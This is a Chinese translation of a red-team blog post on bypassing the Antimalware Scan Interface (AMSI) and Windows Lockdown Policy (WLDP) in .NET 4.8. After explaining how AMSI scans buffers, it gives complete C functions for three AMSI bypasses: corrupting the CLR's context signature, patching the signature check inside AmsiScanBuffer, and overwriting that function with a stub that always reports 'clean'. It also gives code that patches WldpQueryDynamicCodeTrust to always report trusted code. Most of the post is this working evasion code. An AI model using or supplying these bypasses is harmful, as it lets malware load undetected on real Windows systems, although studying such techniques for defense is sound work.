原文地址:https://modexp.wordpress.com/2019/06/03/disable-amsi-wldp-dotnet/
自从4.8版本开始,.NET框架引入了Antimalware Scan Interface(AMSI)和Windows Lockdown Policy(WLDP)安全机制,用来阻止潜在的恶意软件从内存运行。WLDP机制会检查动态代码的数字签名,而AMSI机制则会扫描有害或被管理员禁止的软件。在本文中,我们将会为红队队员介绍三种绕过AMSI安全机制的方法,以及一种绕过WLDP安全机制的方法。对于文中介绍的方法,并不要求读者具备AMSI或WLDP方面的专业知识。
对于给定的文件路径,可以通过以下函数将打开该文件,将其映射到内存,并使用AMSI机制检查文件内容是否有害或被管理员禁止。
typedef HRESULT (WINAPI *AmsiInitialize_t)( LPCWSTR appName, HAMSICONTEXT *amsiContext); typedef HRESULT (WINAPI *AmsiScanBuffer_t)( HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT *result); typedef void (WINAPI *AmsiUninitialize_t)( HAMSICONTEXT amsiContext); BOOL IsMalware(const char *path) { AmsiInitialize_t _AmsiInitialize; AmsiScanBuffer_t _AmsiScanBuffer; AmsiUninitialize_t _AmsiUninitialize; HAMSICONTEXT ctx; AMSI_RESULT res; HMODULE amsi; HANDLE file, map, mem; HRESULT hr = -1; DWORD size, high; BOOL malware = FALSE; // load amsi library amsi = LoadLibrary("amsi"); // resolve functions _AmsiInitialize = (AmsiInitialize_t) GetProcAddress(amsi, "AmsiInitialize"); _AmsiScanBuffer = (AmsiScanBuffer_t) GetProcAddress(amsi, "AmsiScanBuffer"); _AmsiUninitialize = (AmsiUninitialize_t) GetProcAddress(amsi, "AmsiUninitialize"); // return FALSE on failure if(_AmsiInitialize == NULL || _AmsiScanBuffer == NULL || _AmsiUninitialize == NULL) { printf("Unable to resolve AMSI functions.\n"); return FALSE; } // open file for reading file = CreateFile( path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if(file != INVALID_HANDLE_VALUE) { // get size size = GetFileSize(file, &high); if(size != 0) { // create mapping map = CreateFileMapping( file, NULL, PAGE_READONLY, 0, 0, 0); if(map != NULL) { // get pointer to memory mem = MapViewOfFile( map, FILE_MAP_READ, 0, 0, 0); if(mem != NULL) { // scan for malware hr = _AmsiInitialize(L"AMSI Example", &ctx); if(hr == S_OK) { hr = _AmsiScanBuffer(ctx, mem, size, NULL, 0, &res); if(hr == S_OK) { malware = (AmsiResultIsMalware(res) || AmsiResultIsBlockedByAdmin(res)); } _AmsiUninitialize(ctx); } UnmapViewOfFile(mem); } CloseHandle(map); } } CloseHandle(file); } return malware; }
下面,让我们分别扫描一个正常的文件和一个恶意文件。
如果您已经熟悉AMSI的内部机制,可以跳过下面一节的内容,直接阅读相关的绕过方法。
context是一个未有公开文档说明的结构,不过,我们可以通过下面的代码来了解这个返回的句柄。
typedef struct tagHAMSICONTEXT { DWORD Signature; // "AMSI" or 0x49534D41 PWCHAR AppName; // set by AmsiInitialize IAntimalware *Antimalware; // set by AmsiInitialize DWORD SessionCount; // increased by AmsiOpenSession } _HAMSICONTEXT, *_PHAMSICONTEXT;
appName是一个指向unicode格式的用户定义字符串的指针,而amsiContext则是指向HAMSICONTEXT类型的句柄的一个指针。当成功初始化AMSI的context结构之后,会返回S_OK。虽然以下代码并非完整的函数实现,但对于了解其内部运行机制来说,是非常有帮助的。
HRESULT _AmsiInitialize(LPCWSTR appName, HAMSICONTEXT *amsiContext) { _HAMSICONTEXT *ctx; HRESULT hr; int nameLen; IClassFactory *clsFactory = NULL; // invalid arguments? if(appName == NULL || amsiContext == NULL) { return E_INVALIDARG; } // allocate memory for context ctx = (_HAMSICONTEXT*)CoTaskMemAlloc(sizeof(_HAMSICONTEXT)); if(ctx == NULL) { return E_OUTOFMEMORY; } // initialize to zero ZeroMemory(ctx, sizeof(_HAMSICONTEXT)); // set the signature to "AMSI" ctx->Signature = 0x49534D41; // allocate memory for the appName and copy to buffer nameLen = (lstrlen(appName) + 1) * sizeof(WCHAR); ctx->AppName = (PWCHAR)CoTaskMemAlloc(nameLen); if(ctx->AppName == NULL) { hr = E_OUTOFMEMORY; } else { // set the app name lstrcpy(ctx->AppName, appName); // instantiate class factory hr = DllGetClassObject( CLSID_Antimalware, IID_IClassFactory, (LPVOID*)&clsFactory); if(hr == S_OK) { // instantiate Antimalware interface hr = clsFactory->CreateInstance( NULL, IID_IAntimalware, (LPVOID*)&ctx->Antimalware); // free class factory clsFactory->Release(); // save pointer to context *amsiContext = ctx; } } // if anything failed, free context if(hr != S_OK) { AmsiFreeContext(ctx); } return hr; }
其中,HAMSICONTEXT结构的内存空间是在堆上分配的,并使用appName、AMSI签名(0x49534D41)和IAntimalware接口进行初始化处理。
通过下面的代码,我们可以大致了解调用函数时会执行哪些操作。如果扫描成功,则返回的结果将为S_OK,并且应检查AMSI_RESULT,以确定缓冲区是否包含有害的软件。
HRESULT _AmsiScanBuffer( HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT *result) { _HAMSICONTEXT *ctx = (_HAMSICONTEXT*)amsiContext; // validate arguments if(buffer == NULL || length == 0 || amsiResult == NULL || ctx == NULL || ctx->Signature != 0x49534D41 || ctx->AppName == NULL || ctx->Antimalware == NULL) { return E_INVALIDARG; } // scan buffer return ctx->Antimalware->Scan( ctx->Antimalware, // rcx = this &CAmsiBufferStream, // rdx = IAmsiBufferStream interface amsiResult, // r8 = AMSI_RESULT NULL, // r9 = IAntimalwareProvider amsiContext, // HAMSICONTEXT CAmsiBufferStream, buffer, length, contentName, amsiSession); }
请注意这里是如何对参数进行验证的。这是强制AmsiScanBuffer运行失败并返回E_INVALIDARG的众多方法之一。
CLR使用一个名为AmsiScan的私有函数来检测通过Load方法传递的有害软件。以下代码演示了CLR是如何实现AMSI的。
AmsiScanBuffer_t _AmsiScanBuffer; AmsiInitialize_t _AmsiInitialize; HAMSICONTEXT *g_amsiContext; VOID AmsiScan(PVOID buffer, ULONG length) { HMODULE amsi; HAMSICONTEXT *ctx; HAMSI_RESULT amsiResult; HRESULT hr; // if global context not initialized if(g_amsiContext == NULL) { // load AMSI.dll amsi = LoadLibraryEx( L"amsi.dll", NULL, LOAD_LIBRARY_SEARCH_SYSTEM32); if(amsi != NULL) { // resolve address of init function _AmsiInitialize = (AmsiInitialize_t)GetProcAddress(amsi, "AmsiInitialize"); // resolve address of scanning function _AmsiScanBuffer = (AmsiScanBuffer_t)GetProcAddress(amsi, "AmsiScanBuffer"); // failed to resolve either? exit scan if(_AmsiInitialize == NULL || _AmsiScanBuffer == NULL) return; hr = _AmsiInitialize(L"DotNet", &ctx); if(hr == S_OK) { // update global variable g_amsiContext = ctx; } } } if(g_amsiContext != NULL) { // scan buffer hr = _AmsiScanBuffer( g_amsiContext, buffer, length, 0, 0, &amsiResult); if(hr == S_OK) { // if malware was detected or it's blocked by admin if(AmsiResultIsMalware(amsiResult) || AmsiResultIsBlockedByAdmin(amsiResult)) { // "Operation did not complete successfully because " // "the file contains a virus or potentially unwanted" // software. GetHRMsg(ERROR_VIRUS_INFECTED, &error_string, 0); ThrowHR(COR_E_BADIMAGEFORMAT, &error_string); } } } }
我们看到,CLR使用了一个名为g_amsiContext的全局变量,该变量指向AmsiInitialize在首次使用AmsiScan时创建的AMSI上下文。这里需要注意的是,如果AMSI的上下文被破坏,AmsiScan并不会抛出任何错误。如果AmsiScanBuffer返回S_OK,则只会检查amsiResult。使用COR_E_BADIMAGEFORMAT和ERROR_VIRUS_INFECTED来调用ThrowHR时,即使缓冲区确实包含有害代码,也会将其视为次要错误。但是,如果将格式错误的上下文传递给AmsiScanBuffer的话,它将返回E_INVALIDARG,并且永远不会检查缓冲区的内容。此外,AmsiScan并不关心AmsiScanBuffer失败的原因。但是,真正需要重点考察的应该是,“既然系统支持AMSI并且检测失败了,那么失败的原因到底是什么呢?”。
Matt Graeber提供了一个PoC,它能够破坏CLR!g_amsiContext所指向的上下文数据,从而导致AmsiScanBuffer返回E_INVALIDARG。从CLR的实现代码可以看出,这种绕过方法是有效的,因为CLR!AmsiScan的结果永远不会是验证成功或失败。相反,它只会抛出一个错误,并在尝试加载有害软件时终止宿主应用程序。但是,托管.NET程序集的非托管应用程序可能会处理任何C++异常。Windows Defender仍会记录有害代码的检测结果,但非托管宿主应用程序在某些情况下会继续运行。要通过g_amsiContext禁用AMSI,可以搜索PEB.ProcessHeap指向的堆内存,也可以搜索.data段的虚拟地址空间,并查找其中的每个指针。下面的代码演示的是后一种方法。只有CLR调用AmsiScan之后,这种方法才能奏效。
BOOL DisableAMSI(VOID) { LPVOID hCLR; BOOL disabled = FALSE; PIMAGE_DOS_HEADER dos; PIMAGE_NT_HEADERS nt; PIMAGE_SECTION_HEADER sh; DWORD i, j, res; PBYTE ds; MEMORY_BASIC_INFORMATION mbi; _PHAMSICONTEXT ctx; hCLR = GetModuleHandleA("CLR"); if(hCLR != NULL) { dos = (PIMAGE_DOS_HEADER)hCLR; nt = RVA2VA(PIMAGE_NT_HEADERS, hCLR, dos->e_lfanew); sh = (PIMAGE_SECTION_HEADER)((LPBYTE)&nt->OptionalHeader + nt->FileHeader.SizeOfOptionalHeader); // scan all writeable segments while disabled == FALSE for(i = 0; i < nt->FileHeader.NumberOfSections && !disabled; i++) { // if this section is writeable, assume it's data if (sh[i].Characteristics & IMAGE_SCN_MEM_WRITE) { // scan section for pointers to the heap ds = RVA2VA (PBYTE, hCLR, sh[i].VirtualAddress); for(j = 0; j < sh[i].Misc.VirtualSize - sizeof(ULONG_PTR); j += sizeof(ULONG_PTR)) { // get pointer ULONG_PTR ptr = *(ULONG_PTR*)&ds[j]; // query if the pointer res = VirtualQuery((LPVOID)ptr, &mbi, sizeof(mbi)); if(res != sizeof(mbi)) continue; // if it's a pointer to heap or stack if ((mbi.State == MEM_COMMIT ) && (mbi.Type == MEM_PRIVATE ) && (mbi.Protect == PAGE_READWRITE)) { ctx = (_PHAMSICONTEXT)ptr; // check if it contains the signature if(ctx->Signature == 0x49534D41) { // corrupt it ctx->Signature++; disabled = TRUE; break; } } } } } } return disabled; }
CyberArk建议使用2条指令,即xor edi,edi,nop来修改AmsiScanBuffer。如果要hook该函数的话,可以借助Length Disassembler Engine(LDE)来计算在跳转到备用函数进行覆盖之前要保存的prolog字节的正确数量。由于传递给该函数的AMSI上下文已经过验证,并且其中一个测试要求签名为“AMSI”,因此,您可以找到该立即值,并将其更改为其他值。在下面的示例中,我们将通过代码来破坏相应的签名,而不是像Matt Graeber那样使用上下文/数据来破坏相应的签名。
BOOL DisableAMSI(VOID) { HMODULE dll; PBYTE cs; DWORD i, op, t; BOOL disabled = FALSE; _PHAMSICONTEXT ctx; // load AMSI library dll = LoadLibraryExA( "amsi", NULL, LOAD_LIBRARY_SEARCH_SYSTEM32); if(dll == NULL) { return FALSE; } // resolve address of function to patch cs = (PBYTE)GetProcAddress(dll, "AmsiScanBuffer"); // scan for signature for(i=0;;i++) { ctx = (_PHAMSICONTEXT)&cs[i]; // is it "AMSI"? if(ctx->Signature == 0x49534D41) { // set page protection for write access VirtualProtect(cs, sizeof(ULONG_PTR), PAGE_EXECUTE_READWRITE, &op); // change signature ctx->Signature++; // set page back to original protection VirtualProtect(cs, sizeof(ULONG_PTR), op, &t); disabled = TRUE; break; } } return disabled; }
Tal Liberman建议覆盖AmsiScanBuffer的prolog字节,以便使其返回1。下面的代码也会对该函数执行覆盖操作,以使其在CLR扫描每个缓冲区时都返回AMSI_RESULT_CLEAN和S_OK。
// fake function that always returns S_OK and AMSI_RESULT_CLEAN static HRESULT AmsiScanBufferStub( HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT *result) { *result = AMSI_RESULT_CLEAN; return S_OK; } static VOID AmsiScanBufferStubEnd(VOID) {} BOOL DisableAMSI(VOID) { BOOL disabled = FALSE; HMODULE amsi; DWORD len, op, t; LPVOID cs; // load amsi amsi = LoadLibrary("amsi"); if(amsi != NULL) { // resolve address of function to patch cs = GetProcAddress(amsi, "AmsiScanBuffer"); if(cs != NULL) { // calculate length of stub len = (ULONG_PTR)AmsiScanBufferStubEnd - (ULONG_PTR)AmsiScanBufferStub; // make the memory writeable if(VirtualProtect( cs, len, PAGE_EXECUTE_READWRITE, &op)) { // over write with code stub memcpy(cs, &AmsiScanBufferStub, len); disabled = TRUE; // set back to original protection VirtualProtect(cs, len, op, &t); } } } return disabled; }
应用补丁后,我们发现有害软件也会被标记为安全的软件。
以下函数演示了如何使用Windows Lockdown Policy来检测内存中动态代码的可信任状况。
BOOL VerifyCodeTrust(const char *path) { WldpQueryDynamicCodeTrust_t _WldpQueryDynamicCodeTrust; HMODULE wldp; HANDLE file, map, mem; HRESULT hr = -1; DWORD low, high; // load wldp wldp = LoadLibrary("wldp"); _WldpQueryDynamicCodeTrust = (WldpQueryDynamicCodeTrust_t) GetProcAddress(wldp, "WldpQueryDynamicCodeTrust"); // return FALSE on failure if(_WldpQueryDynamicCodeTrust == NULL) { printf("Unable to resolve address for WLDP.dll!WldpQueryDynamicCodeTrust.\n"); return FALSE; } // open file reading file = CreateFile( path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if(file != INVALID_HANDLE_VALUE) { // get size low = GetFileSize(file, &high); if(low != 0) { // create mapping map = CreateFileMapping(file, NULL, PAGE_READONLY, 0, 0, 0); if(map != NULL) { // get pointer to memory mem = MapViewOfFile(map, FILE_MAP_READ, 0, 0, 0); if(mem != NULL) { // verify signature hr = _WldpQueryDynamicCodeTrust(0, mem, low); UnmapViewOfFile(mem); } CloseHandle(map); } } CloseHandle(file); } return hr == S_OK; }
通过对该函数执行覆盖操作,使其始终返回S_OK。
// fake function that always returns S_OK static HRESULT WINAPI WldpQueryDynamicCodeTrustStub( HANDLE fileHandle, PVOID baseImage, ULONG ImageSize) { return S_OK; } static VOID WldpQueryDynamicCodeTrustStubEnd(VOID) {} static BOOL PatchWldp(VOID) { BOOL patched = FALSE; HMODULE wldp; DWORD len, op, t; LPVOID cs; // load wldp wldp = LoadLibrary("wldp"); if(wldp != NULL) { // resolve address of function to patch cs = GetProcAddress(wldp, "WldpQueryDynamicCodeTrust"); if(cs != NULL) { // calculate length of stub len = (ULONG_PTR)WldpQueryDynamicCodeTrustStubEnd - (ULONG_PTR)WldpQueryDynamicCodeTrustStub; // make the memory writeable if(VirtualProtect( cs, len, PAGE_EXECUTE_READWRITE, &op)) { // over write with stub memcpy(cs, &WldpQueryDynamicCodeTrustStub, len); patched = TRUE; // set back to original protection VirtualProtect(cs, len, op, &t); } } } return patched; }
虽然本文描述的方法很容易被检测到,但是它们对于Windows 10系统上最新版本的DotNet框架而言,仍然是有效的。实际上,只要攻击者能够篡改AMSI用来检测有害代码的数据或代码,就总能找到绕过这些安全机制的方法。